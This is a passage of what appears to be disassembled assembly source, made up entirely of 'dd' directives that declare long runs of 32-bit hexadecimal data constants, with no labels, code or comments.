		dd 0BA16F86Eh, 0D64E7107h, 0CE400939h, 15B6815h, 984529C9h
		dd 82476BFBh, 2B4E56A1h, 0E1A88011h, 12237840h,	408C0B73h
		dd 2A7E8160h, 0B70EB170h, 9A7431h, 26EBF56h, 41FEA4h, 4665C70Ah
		dd 73E12ADBh, 90A17A1Eh, 0E3AF6B80h, 0A0725F0Fh, 1811CEh
		dd 0BFAA44DFh, 0CCEAA3ECh, 65CD9C00h, 5A73E4F8h, 23F2EDh
		dd 0ACFCBD69h, 2EF610Fh, 80FE1F00h, 3FBE58F1h, 15113F46h
		dd 7263F704h, 5E08C073h, 5A005559h, 0EE3D625Ch,	0BCCD50h
		dd 0DEFD6531h, 0B42C9281h, 0C089641Fh, 119459C0h, 24B246h
		dd 0E2B0E109h, 28C4E69Dh, 0AFA7413h, 0DF274C01h, 1CCAA34h
		dd 0F08BECBDh, 38A200B6h, 8CB51A1Bh, 0FE072B49h, 1E96F3B7h
		dd 81976E92h, 9E5ADC04h, 0F689AC70h, 16F2396Ah,	0A99CE380h
		dd 0A73AAA2Ch, 5C8B9D1Dh, 0DBF69800h, 155E89Bh,	56C0188Ah
		dd 6A3F7054h, 2975E0h, 7661BA9Eh, 8F505A12h, 85534D00h
		dd 1AC59C2Ch, 4C3800EFh, 0BCF52A3Bh, 1201FE9Ah,	0DB7E37C9h
		dd 50E1621Ch, 4AFE60h, 64AE427Ah, 0FFDAA622h, 0AD7817ECh
		dd 0B6F9A400h, 3E7231F8h, 0BDF20091h, 9DECC03Bh, 9E01C20h
		dd 0FB3F0400h, 3DD45D8h, 6F720174h, 284F7BC0h, 0E26AC849h
		dd 22C21507h, 0CF40C93Eh, 0FF4DAE6h, 6486E495h,	1C7043A2h
		dd 30AA3441h, 8F0E74D8h, 2E9B84CBh, 67892304h, 70380FBAh
		dd 0C04155D9h, 88935C78h, 8089DF29h, 0E4E507E0h, 54442D70h
		dd 2336447Fh, 61839D44h, 1DC1512Ch, 0A2500306h,	9CC70286h
		dd 0DCAFE100h, 24B92E9Eh, 0F3C2CC7h, 0B6E1D3F1h, 0D080DB93h
		dd 6C1FFCF6h, 0C5C1A7C4h, 0CA08E92Fh, 630008BFh, 0FC768847h
		dd 0C800972Ch, 62ED71CEh, 429DAAh, 7EEE3A2Fh, 5069B1D3h
		dd 84811AC1h, 29E403AFh, 9CF71E0Eh, 0ACB741CFh,	0C88356CEh
		dd 0A50F9692h, 5D73F5h,	3A4AFF7Ch, 0CE63007Eh, 75323488h
		dd 0E00A318h, 60A5BBFCh, 3F14EFD1h, 0CE006840h,	78F5C42Ah
		dd 0FE0074C1h, 0EF061A20h, 3F77D24h, 66C7615Eh,	0C08864C3h
		dd 8180B4Eh, 2051E6DCh,	0D39E1479h, 1F00D432h, 232D5C6Ch
		dd 0FF00B303h, 0D0A75029h, 197451h, 0CA26D279h,	57E0DDB8h
		dd 12159900h, 3F56C7CCh, 0F25A00BEh, 0AF1383E5h, 0C094059h
		dd 8005C8F4h, 0B16E335h, 0BC29094Ah, 8C07881Dh,	7982E028h
		dd 6700400Ch, 0BD3FD258h, 0E691BBh, 161B629Fh, 7A653BC1h
		dd 53CD300h, 269E6814h,	7D5D00BEh, 38F096A6h, 0F5009331h
		dd 666D37F9h, 0E368ED2h, 39919D16h, 0B05BC9A0h,	0C4484148h
		dd 953E57h, 0C82B2ED0h,	71A4C715h, 4A5B00F2h, 7DD4D14h
		dd 4900CFB2h, 0D2370EA2h, 7C248FCh, 91B1CE31h, 70D3576Ch
		dd 4A541196h, 46940F00h, 0C2EC7313h, 23010105h,	1450809Bh
		dd 0EEF02081h, 7DF2620Eh, 68614197h, 72C0F948h,	11B500ADh
		dd 31B09FC0h, 2000EA18h, 966E7E05h, 712570h, 0AD356FC5h
		dd 0DF791D5Eh, 0B002B907h, 4A0F85Bh, 663C7Dh, 9A5F67B6h
		dd 0E8D5A2CDh, 54102003h, 9849E201h, 0FEA2B71h,	0D7F70256h
		dd 949877C0h, 3D004817h, 0EE5C0E33h, 6BCAB3h, 0CBBCFF4Ch
		dd 86401A8Dh, 58EBC600h, 8B1D0953h, 12B50094h, 0E5730D82h
		dd 0AD00D9DEh, 103F0575h, 0FC0830h, 0C743372Dh,	76EB457Dh
		dd 32806C00h, 54EAD74Fh, 5EB3242Fh, 3792009Ch, 0D6C3F44h
		dd 30C4AD3Ch, 9DF4080Ah, 0E23C0083h, 0D6B10965h, 3703FF2Fh
		dd 0AC102BD5h, 7B1EC0CCh, 0FA4F0089h, 29C73665h, 38F8E6B3h
		dd 49531900h, 5B897999h, 7D6B8D4h, 0C9522986h, 33EA117h
		dd 0E3FC4897h, 0C15BED0Eh, 807EEB09h, 5C5EF934h, 5D771C72h
		dd 7493C0A0h, 0F4FE5AA2h, 358E6700h, 0E140B0E8h, 17233E9Ah
		dd 6C488683h, 598BEF3h,	0B903C6ECh, 39A4E3Bh, 3A6E8063h
		dd 16190FA5h, 5C37DE7h,	7388B6B0h, 90001BC9h, 0BBA00B1Dh
		dd 7467BC7h, 0C53D1310h, 2CF61197h, 0C080F29Bh,	1FA718D5h
		dd 0DBFFA900h, 61327898h, 46740311h, 0C4D986F0h, 9A959CE0h
		dd 0F837B10Eh, 0C34E8EE0h, 0E833DC44h, 0EF70B1Eh, 0B0E42289h
		dd 0BBAC1883h, 65C130C2h, 85FE0C4h, 76A5F501h, 0B4B20D23h
		dd 31955E4h, 0FE106DB7h, 75B83368h, 8E023869h, 15D8E1E9h
		dd 5604A0F1h, 5F7778h, 0A5856EA0h, 0EAF4DCC4h, 0E3FB951Fh
		dd 0C1D7BE40h, 5B7A3Eh,	92FC99F3h, 1C35795Ch, 9E0F6E70h
		dd 0E71B88h, 660BECDCh,	97930638h, 0CC15949Bh, 0A0A3E500h
		dd 4C3A7127h, 0A5F102B9h, 0E1B2471Eh, 24CD0140h, 5EC16B00h
		dd 9CD57E9Fh, 3C9B7B2Dh, 7D0044CFh, 0F2BA6154h,	2C0016DAh
		dd 2B837184h, 0C403D0h,	0B6019D8h, 0F16C3415h, 0F910D900h
		dd 86748F27h, 0CAB6006Eh, 380667D7h, 331C45CBh,	0BF00CF70h
		dd 34B5A921h, 856639F7h, 0E3EC5F80h, 3C95C5B6h,	46D68600h
		dd 6FE01193h, 49F478h, 5C756CEDh, 7F7B0AEFh, 52BCA800h
		dd 535FB686h, 0D6DF0073h, 0F6C448FFh, 0D8287609h, 0A55AD021h
		dd 0FE0038B8h, 0C9189F7Fh, 0DF076284h, 16784A10h, 0E37EC890h
		dd 57550798h, 0E6ED63C7h, 0A70309C9h, 5E749B3Eh, 12D904Ah
		dd 0C2CC00B5h, 0E993FB94h, 0B0A8F7D1h, 0D70AE861h, 0D0F0B5F3h
		dd 969EB080h, 0B0EDCE12h, 159001Eh, 7C52B2F4h, 0D800322Dh
		dd 1A8E93A3h, 1FB0F16h,	0A21B55BDh, 0DCF912EEh,	0C4001CB6h
		dd 0C6C0D21Eh, 79F2997Fh, 9AB31C47h, 7BF0C0AFh,	0DFB1FCE2h
		dd 2235E803h, 0E0623D58h, 92ECB2h, 3A5BF46Eh, 0AA8B600Ch
		dd 4C00887Bh, 0DC651C28h, 5F46FEh, 0DADB8298h, 796986D5h
		dd 9D03CA00h, 0B57EE411h, 0AEEE0070h, 5D286634h, 4D72D70Ah
		dd 0BB462F00h, 0EC82287h, 5B00015h, 5E1D668Fh, 0D300821Fh
		dd 3887E23Bh
		dd 60D2CF1h, 0E551C3A0h, 700089Bh, 0F8946DFCh, 7E4DBFCFh
		dd 8ED10099h, 0E98DE145h, 0A8E882C5h, 0AF83E000h, 57CE2030h
		dd 0C0FD00A7h, 2E4D2540h, 5D0076F6h, 0FCE52D01h, 24FA43h
		dd 0D762A446h, 361A89F4h, 7F15D04h, 99C09042h, 763596h
		dd 0AD94E679h, 0ED0ABC6Eh, 0B22AF700h, 228B6188h, 0E64426FAh
		dd 0C51E01B5h, 0E4CE53F1h, 0F6015B67h, 161321CAh, 0C1DCDE7Ah
		dd 0A65C02D0h, 0BA0F9232h, 0D30D05C0h, 90EF40Eh, 0F6CB8074h
		dd 3F2E3Dh, 33A8DEDCh, 8D4494E9h, 69C1BD00h, 9209C08Bh
		dd 36B0611h, 9AFB8A51h,	6FEBB517h, 202FEB0Eh, 85F883DEh
		dd 0E375007Bh, 0B53F7107h, 0B3004DB9h, 51954345h, 803B04h
		dd 0A64424E0h, 5874D8DBh, 2A283E60h, 0CC13F4h, 9E7C1D5Bh
		dd 0A0FB4C4Ah, 0F8A91103h, 0C15925F2h, 0EDC8177Dh, 0F01A0098h
		dd 6B40D3CEh, 0BA036F3Dh, 0B1CBA6B3h, 90504841h, 1C036739h
		dd 3C0C6DF3h, 0EF59F7F0h, 0AC6B9109h, 0B58201BFh, 2EC40FBDh
		dd 0C220319h, 5A76D0B9h, 316AFDF8h, 57AE6303h, 0F8DD4CDEh
		dd 1437EF6h, 262B1164h,	0FCF02766h, 311F9BC2h, 2900B0DBh
		dd 2F1886A8h, 0D69005Bh, 0ECB1D1EEh, 0ED008905h, 972276E4h
		dd 1263AACFh, 0B0AD78AFh, 56076563h, 2E45E433h,	7D89E06Fh
		dd 6CA5E3h, 0EB81ECE2h,	0D28407ADh, 3600BD90h, 7301CC88h
		dd 0F9C0DDh, 8D749656h,	31471BD4h, 220D0600h, 0A86BA0C6h
		dd 30273A5Ch, 7F234100h, 3C3F3B75h, 8315E903h, 702AE1D3h
		dd 64BB00FAh, 0FB9F5C25h, 0CB01EAF6h, 8BCE4044h, 0AC30D551h
		dd 0B92C50E2h, 35340084h, 0CEDFE3E4h, 20007F01h, 4C197973h
		dd 7F0C0EBBh, 3FA80045h, 12BC991h, 0AA1783B3h, 90008BDAh
		dd 5088F8B0h, 94580352h, 0CE78BDAFh, 0DCA6E0B8h, 845CAB1Ch
		dd 0FF53C800h, 0F8BE90h, 2BD94CFCh, 0A27B52F1h,	0F99F7C12h
		dd 8CAB5300h, 0D63A8Fh,	4AEAACB4h, 0BD37A062h, 55CDA100h
		dd 0F91E14BAh, 78A00FEh, 27588392h, 0E526AD13h,	78008AEFh
		dd 0C5D39768h, 72E70004h, 7B137E66h, 0D500CECBh, 4B5B05F0h
		dd 3E709Bh, 62B6509Fh, 0C3B7E75h, 0CE35DF00h, 0A1995CB9h
		dd 0E45103DEh, 0F1BAE530h, 238A81E8h, 72641F00h, 0DDB847EAh
		dd 9FCE00F4h, 3F73BBABh, 0A6763E44h, 9EEBA300h,	7E208334h
		dd 709907B3h, 605CEFCAh, 871F6450h, 6C823D00h, 1840CDA5h
		dd 0EA5BFA1Ch, 5F7231h,	0E6161FA6h, 0F596DFC4h,	0D2047376h
		dd 929C34DCh, 80D42EC3h, 78ACC225h, 0F37C008Dh,	0F89BCC3h
		dd 9100CF4Fh, 0B9D5B433h, 0A67317h, 3CB841DDh, 3242A5E0h
		dd 93646900h, 523EA113h, 5F905Ah, 971C3DF7h, 46169B50h
		dd 0E168AD00h, 18F1FFDCh, 49DB0030h, 1F4108EFh,	80008655h
		dd 7EFC962Ah, 0C58762h,	1B544037h, 6125D6E5h, 53502701h
		dd 8F242E89h, 0F35770h,	73DE0B8Dh, 5D92BF4Bh, 0ED015A03h
		dd 89E86AC3h, 0CCC01A2Ah, 53660756h, 439E0Fh, 473FA304h
		dd 61D56D00h, 34B4683Dh, 17F2008Ah, 9D3302A4h, 421D8143h
		dd 24C0F4EDh, 8C251DC2h, 2BB0F5Fh, 0EE20A2A8h, 72D20DF2h
		dd 0E8036871h, 172F43D8h, 0F7758BA7h, 0B4616D70h, 0ABEF000Fh
		dd 2892419Bh, 8100C11Bh, 0F9AF4DC9h, 0B871930Eh, 1EACC1C2h
		dd 0E87650BAh, 24078CD0h, 4A7EE2CDh, 0BB28FEC0h, 0CAB4005Bh
		dd 31A66AEh, 0A607584Bh, 0EA1F6114h, 90215640h,	88D538ABh
		dd 8ABF3075h, 1032DD08h, 82C82900h, 0E1743350h,	34390766h
		dd 0E06092BEh, 0CD6F832h, 0D76EB700h, 0F7499AD2h, 3B917185h
		dd 0C4168204h, 8C8700E0h, 0F02C6F47h, 0B5973F18h, 299E830h
		dd 0A9F4B03Eh, 99409B34h, 58C0A3EEh, 0D509B9DDh, 6E146042h
		dd 9C903166h, 36BA4E00h, 0E5AB2F35h, 105060A2h,	999D1A0Eh
		dd 52D78C01h, 28A41847h, 0BD44E0h, 0D0C01023h, 65924941h
		dd 86536900h, 70D559F2h, 0F42050D8h, 183809F8h,	5005212h
		dd 4AB5B63Fh, 7F07A8F8h, 0BA16923Bh, 157535C1h,	0FA0544F0h
		dd 956F0285h, 0E3C410A4h, 94DC8C60h, 1261B3Dh, 0D66CBE7Eh
		dd 7AD8D431h, 76D8C0FFh, 0F1427881h, 8F60B73Fh,	603EFh
		dd 668DB6BBh, 67F90368h, 86C6305Ch, 39368480h, 0F381C900h
		dd 0C49188D9h, 52280783h, 8087CC1Dh, 0BECE194Bh, 0F647B300h
		dd 9DD11370h, 0D5E2000Ch, 68046FD2h, 9200A7ACh,	0E048F545h
		dd 16E4DDh, 0ADF89371h,	541936DAh, 7EC72000h, 0F2D1B525h
		dd 1E47009Dh, 3BF644DCh, 0DE03B063h, 0DF2AB304h, 0CB70EFD1h
		dd 50810A5h, 65B7754h, 511C1A3h, 7C8DF03Ah, 0F556FA00h
		dd 33682581h, 91AC0078h, 9B200AEEh, 0D272A887h,	9F43FF07h
		dd 4230E353h, 0F777B3h,	0F586786Bh, 55AA3862h, 0CFF98F00h
		dd 0FD691371h, 0E19A0070h, 650174D4h, 3400EC3Ah, 0F3D8C944h
		dd 917C43h, 0E4A4AC5Ch,	2BA3A889h, 3700BC70h, 10A7AB98h
		dd 3252EB3h, 5CC7D921h,	0EA99444Bh, 6C56E4DDh, 6852E500h
		dd 7C3C23F4h, 20D93A8Bh, 0FE769A86h, 5B03C835h,	3279F12Ch
		dd 98A78315h, 3BCCCACh,	4E6B7407h, 118809F5h, 0A400C050h
		dd 758B3AC1h, 2B7DFh, 0FFF97E2Eh, 8D97A1F3h, 7A001571h
		dd 499C52E0h, 0FEFDBD98h, 1D10447h, 0AACB5ACCh,	6AAB4080h
		dd 0BE970045h, 417F3A3h, 64580BF8h, 489F0766h, 589042FEh
		dd 0E129A9h, 53FDFB07h,	2FBEB44Eh, 0D8B23800h, 3A3E85A2h
		dd 59B60076h, 966063E9h, 507365Ch, 3C8045F4h, 0CAF2E07Fh
		dd 1464ACFAh, 0BC30228Eh, 0A311401h, 24025DE6h,	0B4000CF4h
		dd 7D967C10h, 867664h, 0A4BA93FBh, 2B8AB8B3h, 945338C5h
		dd 86CAB7C0h, 9AA80091h, 0F5CDD5EFh, 8200BCADh,	58FB7D41h
		dd 2E7EA99Bh, 47B86Fh, 0D616A11h, 0A00B66Eh, 0BFCBB529h
		dd 0F4D40BCh, 6CE89262h, 9EFC0C20h, 0BE0019DDh,	70166964h
		dd 0F794D7h, 271E39FFh,	0D90F71B5h, 98398D70h, 52F00D4h
		dd 0DE6560DDh, 0AEC6008Bh, 7D5B5459h, 7E000233h, 10BCBB99h
		dd 1671F2EBh, 4E0912h, 92FE8A5Bh, 0C8EFCCE0h, 426088Dh
		dd 888B54A8h, 1BC400DCh, 7C8F65Fh, 60855592h, 0FD070025h
		dd 0AE0EE498h, 60B2E549h, 0F3019EB6h, 7D7A0341h, 95888639h
		dd 0FC63E1B0h, 2C518F26h, 20D2240Fh, 0CBFAFD26h, 0C4A0625h
		dd 7E95F0E3h, 0A1ACF200h, 67520859h, 4E3C0012h,	0F01A17C0h
		dd 5D00E464h, 8937259Eh, 0C1CDF5h, 487D5680h, 0A92728ACh
		dd 96D74403h, 0E1D6C7D5h, 68E0C591h, 21C0052h, 66AAFBFDh
		dd 0EF002A55h, 642285BCh, 0EAFC75F1h, 0B6DB0192h, 5DAAC791h
		dd 6193EC98h, 4A2EA900h, 9F3B5A3h, 10B800CCh, 38CF9184h
		dd 0E00999B4h, 960057Eh, 0B7288243h, 8F1C4083h,	2DEE063Bh
		dd 0EA7F3F9Ch, 0BDB38C05h, 2087F6FBh, 0C89E1543h, 4FD0DAh
		dd 0BC4D9679h, 6D651AFAh, 7A2A7B01h, 0CED2E84Ah, 0B052E460h
		dd 4FEB132Bh, 2D040F74h, 479698C0h, 2F033B26h, 67B4DEEDh
		dd 0E43CF816h, 0FF3FA38h, 255944A2h, 6908C980h,	63001592h
		dd 0D1145C4Bh, 1E36FDB4h, 81F6A27Ah, 0B82D38Dh,	526BCC02h
		dd 0F185FB00h, 0BB8681E5h, 5B4000E1h, 69A43019h, 4A73AFC1h
		dd 0CA004CE4h, 455F99B8h, 0BB15D8h, 78D4040Dh, 0BAF4369Eh
		dd 6E0041F0h, 0E56113FAh, 179A677h, 1C0C8026h, 0E8888E39h
		dd 0F51870E4h, 0C84024A0h, 0B4142478h, 0FF9B0EE5h, 0B66A0821h
		dd 0F5E0D8CCh, 1CBB1C4Ch, 0C9DF30Bh, 7FC22C80h,	1AAF6Dh
		dd 21AD36D5h, 7758F6D2h
		dd 0D7D4EB00h, 0BC1CB0A8h, 37C6043Ch, 0C0B93243h, 0AF221AFAh
		dd 0D20FB4E2h, 603FF24Ch, 5DA6480Fh, 77713524h,	9DE8636h
		dd 9856B300h, 0B10ADB97h, 0D3191689h, 69EB0180h, 0F8532583h
		dd 503E38E6h, 19080088h, 0DC3F562Bh, 3B91E6D9h,	1DD83426h
		dd 98288B00h, 0C5945A0Ch, 820093FEh, 0FB48E196h, 6C991Fh
		dd 0AFA64F7Fh, 0D2372DBFh, 472691Ch, 0BC00C057h, 78F3254h
		dd 6BD40079h, 28A91D39h, 0D3DD6BAh, 3FBB038Bh, 0B8DA7485h
		dd 1A9D6Bh, 9899BC1Fh, 143D6F80h, 0EAEEDB00h, 5FE9BB18h
		dd 0C36B06CBh, 11023E4Ah, 43003E98h, 974E9DDCh,	6D5AA6h
		dd 7B401ED8h, 8677C035h, 0FA068103h, 0C248283Fh, 0BE3B60B2h
		dd 363900B8h, 0EE6DEB7Eh, 0E87887DBh, 2E863400h, 0B7E7E0A9h
		dd 0A7251DA2h, 33CE0094h, 99FEF1AAh, 0EAC37000h, 7469F019h
		dd 25F60028h, 0A4D695D7h, 0CA00989Fh, 22B11D15h, 0C007D91Eh
		dd 4239AF30h, 4400E386h, 0B266EBC7h, 2ADA64h, 0FBE3CBAh
		dd 0F8D0E5A4h, 7A533F01h, 0AA95CD05h, 3196570h,	0CEB00768h
		dd 0B097BC55h, 0F6B75A4h, 0D908A660h, 4F079Fh, 0EE091576h
		dd 2CCB18C5h, 8B69EF0Ah, 0F8238660h, 0CCA2873Fh, 4750A8F7h
		dd 0BB54C42h, 2A04E32Eh, 48D50180h, 0EB014E27h,	90A4376Eh
		dd 0A8311BFCh, 199CE8h,	867936EFh, 0C7E8E2FFh, 0D8973129h
		dd 1E0B6501h, 50203A90h, 339F070Ah, 50322F19h, 0D1229312h
		dd 5C65CB07h, 8BC0B852h, 9ADC33h, 88A454F1h, 0AF6BA924h
		dd 0D0CB0900h, 96A72127h, 0BD5C0128h, 72222E95h, 90B98077h
		dd 7FC4D233h, 18801E6h,	0C1F8E36Dh, 95496038h, 311E4800h
		dd 0EF094F62h, 514B58FDh, 1076FC03h, 89D8A27Bh,	7E006899h
		dd 64966B52h, 0EA63F29h, 2D2C4749h, 0EA05C3A3h,	0C92AE590h
		dd 0E97CE300h, 48DD6502h, 0F63600AFh, 56D2C41Fh, 0F3002977h
		dd 502EF70h, 2EB9465h, 69BC9ADEh, 0EC4AA618h, 4293C0DDh
		dd 2431013Bh, 0C2050CB4h, 3921D8FFh, 0B82C0770h, 4B00F07Fh
		dd 7BE63242h, 0DDD400BAh, 0A314766Fh, 0AC01128Dh, 8081C2B3h
		dd 63EC474Fh, 13100AAh,	138954C4h, 99777FD5h, 5F072000h
		dd 0A909A1FDh, 0EDA7017Bh, 67C3FB65h, 0F8A5DDBBh, 0F3EFAEF1h
		dd 5168AAA0h, 489D3130h, 48AC66h, 87FC5288h, 5565AE74h
		dd 0C2536801h, 0FDB0ED6Dh, 0CF167F0h, 944FBD64h, 0E7190980h
		dd 0A6505B06h, 2ED44987h, 0FFB35007h, 0F550AE89h, 35015E1Ch
		dd 0DE68B1E4h, 0AC7BF44h, 0BE5AFB30h, 0F4450C68h, 88C08480h
		dd 61C7AE3Ah, 8B10A0A3h, 39C26066h, 0AEF39DA4h,	86924700h
		dd 9E652667h, 6B58004Fh, 74EE322Eh, 3D75D8F1h, 25240803h
		dd 9803BE52h, 1E51CEF2h, 20BE47Ch, 431C1EF1h, 0E08B6075h
		dd 92610076h, 0AB58673Bh, 53009BB2h, 0E35FE76Dh, 2760BCh
		dd 0CA1C8D55h, 3A9526F5h, 510B8A00h, 0BF62862Fh, 5D17004Ch
		dd 27890358h, 0C901F235h, 0EFF53FB1h, 0D2E434B4h, 307AE0h
		dd 0CC2CB0FBh, 78EE68EAh, 3B68300h, 0D002C18Ah,	64E10055h
		dd 3F2C48B9h, 0F4006C52h, 4096F0CCh, 39C184h, 0F1B13D7h
		dd 0BE073F2Fh, 6C91D00h, 451EE6E4h, 3C8C3E70h, 20C06079h
		dd 34117765h, 0F2D21702h, 0FB6E7EDh, 0EA0A1380h, 0F00C5C16h
		dd 312A039Ah, 55790B4Ah, 8E07420Dh, 0AF408EEEh,	1F858D51h
		dd 90004490h, 1062A43Bh, 0AD3768h, 0F2EE87D1h, 0E8AB05F4h
		dd 3833E700h, 48D984C7h, 68986973h, 3C06D780h, 7E0058ADh
		dd 5D858710h, 0E59EAA2Fh, 5DB588Ch, 99171C98h, 1505A1D5h
		dd 5800E806h, 5C2FD61Dh, 627502B1h, 0BF16894h, 0FB7ADDC0h
		dd 60794015h, 22F7009Ch, 8F8AE6E8h, 0ACB09Eh, 4D05F896h
		dd 15DBEADCh, 0CBA2C00h, 68727913h, 2FEF07A4h, 0F242949Ah
		dd 0B783FE95h, 0F0A8342Ah, 0EB3C6709h, 0A2A687B9h, 69C0B2D0h
		dd 0CC2D9ABh, 0A730705Eh, 5500EB18h, 2363781h, 82F856h
		dd 45942A4Fh, 879027A5h, 0E392500h, 0BA0C1F47h,	33440795h
		dd 208FE816h, 810332BCh, 0B042DB03h, 0A866F841h, 0D022D3BAh
		dd 0DFAC0461h, 46818A7h, 6038F17Dh, 4600D84Bh, 50ABEC9Bh
		dd 0F234E4h, 15A4262Ah,	91D357D7h, 1C2C7D00h, 8B228938h
		dd 0E0C3000Fh, 0A0697A54h, 0D03FA1BBh, 0A7C407B3h, 1D60AF42h
		dd 0F52CCD93h, 7D63ABD4h, 84A016Fh, 0A2AF458Fh,	0FE90F8C4h
		dd 82200B53h, 18398086h, 0B06E60Fh, 4FB45464h, 36BC1888h
		dd 0BD5BC982h, 7424EF01h, 6DE7F041h, 604A3FFCh,	34C1171h
		dd 0AC00FAA6h, 0E1C2B582h, 9F38C3h, 7DE20CA3h, 9A22834Bh
		dd 0FF3A1700h, 5957A488h, 52290093h, 0BC1E1840h, 0D03981Bh
		dd 0A5212B41h, 895090A4h, 78F80312h, 15F09911h,	366A6806h
		dd 1ED982A9h, 7984922h,	0D0184F30h, 0C1BD7358h,	0D8F8A70Ah
		dd 60B0B485h, 67936FF9h, 8219B082h, 45052037h, 58682040h
		dd 232CD692h, 0E3E3F119h, 20B0420Eh, 0B1D3EB0Fh, 8D4711C2h
		dd 85177E3Eh, 6CE6C030h, 0A838238Eh, 0F10EFBE0h, 2966003Bh
		dd 4F1D1C5Eh, 6E24872Bh, 0F5002791h, 0FD19597Fh, 0C1753D6Ch
		dd 81D8D11Eh, 16E569EFh, 0A91887F0h, 3F70F370h,	0F0BE64FDh
		dd 0D4C71EDBh, 202941h,	0BE162B60h, 684714B6h, 7680FBC8h
		dd 0D9F51FEEh, 0F4FEB6h, 437C5031h, 0CFD862F3h,	65D3A0Eh
		dd 8055CF78h, 3867D170h, 0F1B01Ah, 9DCA0B51h, 19BE131Fh
		dd 200152h, 93045D7Eh, 0AC908Dh, 0B71688D6h, 9029EF5h
		dd 290F737Ch, 60DCF8F6h, 994C0417h, 0CF85FE30h,	90A14FC4h
		dd 0D08AC6F3h, 4BF96AD4h, 55580F20h, 96E80408h,	0FC4FD921h
		dd 6E04DFF1h, 9174908Fh, 0BA231068h, 0F580B02Ah, 8123B647h
		dd 0E370E18Fh, 21A1C11h, 4551474Dh, 0B02F622h, 0FE0220EEh
		dd 2B840458h, 2076C0h, 67084FE9h, 3482E715h, 18242940h
		dd 66804020h, 4285F026h, 0C08005FCh, 8E64CD89h,	6B1C80h
		dd 0D6CFA43Eh, 744FE041h, 28D7A700h, 0D5CE19AAh, 0DCE80640h
		dd 1894137Fh, 0B38C5912h, 0DFA8C803h, 0D425E82Ch, 0ACBC7833h
		dd 87791C20h, 0A05161E3h, 0B148010Fh, 7C7E3EE9h, 0E0AC211Eh
		dd 1210F1BFh, 1E44C08Dh, 2C21CCB3h, 0B045131h, 6D19B301h
		dd 0A203A41h, 382EDC84h, 0FFB70A9Bh, 0F9A0E126h, 4404B08h
		dd 0CBE251B5h, 0E0B4212Ah, 3212EB03h, 203820AFh, 0C3B081Dh
		dd 0D600A357h, 0F3661756h, 44B44888h, 0AA2C6500h, 22D779F6h
		dd 0C8AC3424h, 5F801385h, 21168380h, 5187825h, 3246741h
		dd 0C20300Ah, 8F23B831h, 0B0F0EE21h, 86A2CC9h, 5E777C92h
		dd 1C0BC9F9h, 3986AF56h, 1080DC6Ch, 0F15E6B4Ch,	0A0155h
		dd 0EB382C7Eh, 8F569C52h, 0B0604594h, 23C44B35h, 0D1E422CDh
		dd 5505592Ch, 0E05EBE9Ah, 0ED10A02Ah, 0BF9D386Ch, 3C4C7Bh
		dd 0B29A0F42h, 31B65Fh,	29E18CC4h, 0D860A8D3h, 91810200h
		dd 0E018C62Ah, 3118CB34h, 80476084h, 32EFDB08h,	93CF4EEh
		dd 42056D9h, 3597B145h,	0BB84082Ah, 0C25758D8h,	0C5430D11h
		dd 0EA2F0F1h, 1C586127h, 0BC08408Fh, 6FD073A6h,	0C247F8C5h
		dd 788060CAh, 0E52B6AB4h, 0ECC46063h, 2104B63Ch, 1574855Fh
		dd 41C1F878h, 0D5C434E7h, 0F7C9B603h, 12C63E5h,	0D7544FADh
		dd 850A4E67h, 0EC8AB640h, 25044C4Ch, 2A3D68ABh,	84BBAC10h
		dd 0F1416C0Ch, 364C74E6h, 0A2021E48h, 282AEC56h, 0A735EC10h
		dd 40311A30h, 9702360h,	202C18E5h, 0CC11517h, 44E14084h
		dd 8F88331Ch, 0E87312F7h
		dd 3346882Eh, 0F1898F21h, 4089C6Ch, 0A252A5B8h,	0A5E57C56h
		dd 0D77C8220h, 10152F33h, 8BFAF08Dh, 2785238Fh,	1467F9E2h
		dd 2DAF1D00h, 27E7BC08h, 3E9677ACh, 4F03EBD2h, 0C9F085C7h
		dd 0E002BD89h, 2E00F49Dh, 0F26BB2D4h, 1EBB123h,	44DB2007h
		dd 1FC64EA9h, 0A0E2A910h, 8AC205Dh, 0C9019FC8h,	87F431F8h
		dd 0C2386C01h, 101F74BCh, 0B5A0FF45h, 6E086582h, 0F9CFFD94h
		dd 33605CADh, 5F83BB05h, 4078B822h, 260AE39h, 0B9C282B6h
		dd 0A095D833h, 46F23CBDh, 0FCBB6F00h, 0CA03F357h, 0B655908Fh
		dd 0D01B0840h, 43541D8Dh, 6195C381h, 3E74BACFh,	763D43h
		dd 9849D075h, 966F2072h, 0A9FFD03h, 0E0B37F59h,	0EA6A1D2h
		dd 0A81B3FE3h, 2800CD4Fh, 0D326E152h, 0C800C942h, 3BCAEB72h
		dd 888FA7B5h, 0A050C40Ch, 31CC080Dh, 21544C94h,	99C0C798h
		dd 85BE5F9Ah, 2D7444h, 0F40D4C80h, 0E4A8B423h, 40922D04h
		dd 432005FEh, 30206CABh, 0C080C943h, 150533F3h,	812C988Fh
		dd 0C700C91Fh, 84AC887Ah, 5CB873h, 2D227B7Fh, 0AF32F138h
		dd 21B3D01h, 0D81F69CEh, 0A59B5182h, 640126E5h,	4FC42D27h
		dd 0D4B81E7Bh, 0ACB9807Fh, 0EAAB7AB2h, 384BBD30h, 3090A1CEh
		dd 0CD514030h, 0B1F8B62Dh, 201F3A29h, 0E2E5213Ah, 0C034688h
		dd 710CA1Eh, 0ACB4E304h, 0DD37A97Ch, 68E13141h,	0C6011AE9h
		dd 0D0C111h, 6573A77h, 1D631285h, 9C007884h, 0EDE8DF96h
		dd 0D47CA1D0h, 82308F39h, 46935D20h, 80DA193Ch,	25E4247Fh
		dd 202992h, 0CCC5D6BCh,	0D30FAE0Bh, 0A35F100h, 9F985DA9h
		dd 12DF14ACh, 0F308B0B7h, 0AD065BBEh, 5886FEh, 2C6B049Bh
		dd 26F46ACFh, 5B33F602h, 986336B1h, 0E8274AC8h,	0CA260042h
		dd 0D3B15A76h, 94FD4C39h, 7781F668h, 6809BD32h,	4F60F5D1h
		dd 0F900F541h, 0ADCD030Bh, 7AF9844h, 0A8433447h, 144D73BCh
		dd 0C158096h, 0F05A66h,	0F8A8503Ch, 1C079C42h, 0C0459Eh
		dd 0A1B5E0C7h, 0BFE46C53h, 0F2EA7400h, 0F73BBC9Fh, 1613017Ah
		dd 3C5D09ACh, 35BEECB5h, 0C0CA4A6h, 60B879FEh, 0F9A8147Eh
		dd 0ED79E402h, 0A2ACC050h, 0E3B0383h, 0BB8F546Ah, 0E84F43B1h
		dd 507C806Bh, 0C41C391Bh, 843102F0h, 6A8A95BAh,	4918888Fh
		dd 918F1DDh, 0BB2882E4h, 314E60A8h, 865C4907h, 8F21673Dh
